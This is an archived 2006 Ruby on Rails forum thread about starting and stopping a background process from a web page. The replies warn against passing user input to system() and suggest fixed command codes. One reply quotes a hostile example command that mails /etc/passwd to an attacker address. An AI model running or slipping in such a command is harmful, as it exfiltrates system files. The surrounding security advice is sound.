Forum: Ruby on Rails Starting/Stopping a process via web interface?

Announcement (2017-05-07): www.ruby-forum.com is now read-only since I unfortunately do not have the time to support and maintain the forum any more. Please see rubyonrails.org/community and ruby-lang.org/en/community for other Rails- und Ruby-related community platforms.
429500a5a54600958c9c7ac032a37f66?d=identicon&s=25 Joe (Guest)
on 2006-05-20 09:39
'Sup everybody?!

I'll be wanting to start/stop a background process via RoR's web
interface (probably by clicking a form button). When activated, this
process will do its stuff perpetually, until deactivated again. Any
ideas how to go about this? cron would probably be involved.

Thanks,
Joe
F0379e983ab499fac4d972494beab5c0?d=identicon&s=25 Brez! !! (brez)
on 2006-05-20 23:23
Joe wrote:
>. Any
> ideas how to go about this? cron would probably be involved.


ruby has a system() function.. you could use that? i'd be very cautious
tho, given the obvious security concerns opening up your system i.e.
don't pass in the variable as a parameter and then send to the system
call, cause someone might pass in 'mail elhacker@hell.com < /etc/passwd'
er something drastic like that. .
2f9a03aa0fcfe945229cb6126eda2cb2?d=identicon&s=25 Philip Hallstrom (Guest)
on 2006-05-21 01:30
Joe wrote:
> 'Sup everybody?!
>
> I'll be wanting to start/stop a background process via RoR's web
> interface (probably by clicking a form button). When activated, this
> process will do its stuff perpetually, until deactivated again. Any
> ideas how to go about this? cron would probably be involved.
>
> Thanks,
> Joe

Nagios (a network monitoring app) has a command file that the web
interface writes to.  Then another background process periodically reads
that file and executes commands within.

You could do the same using a database as well which would avoid some
locking issues...

Just be sure you sanatize the input.  Even better, write a code like
"START_FOO" which when read will run a specific command.  That will make
it a lot harder to hijack.
This topic is locked and can not be replied to.